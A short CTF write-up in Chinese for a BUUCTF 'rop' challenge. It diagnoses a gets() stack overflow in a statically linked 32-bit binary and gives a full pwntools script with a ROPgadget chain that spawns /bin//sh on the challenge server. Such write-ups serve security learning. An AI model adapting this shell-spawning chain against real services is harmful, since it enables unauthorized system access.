checksec exeinfo
IDA32 查看函数
左边一堆函数 似乎是静态链接 右边有个gets的栈溢出漏洞
因为是静态链接用不了ret2libc 溢出长度也很长 试试ROPgadget构造的ropchain:
成功拿到
exp:
from pwn import *
from struct import pack
#io = process('./rop')
io = remote("node5.buuoj.cn", 27921)
p = b''
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
io.sendline(b'a' * (0xC + 4) + p)
io.interactive()
flag: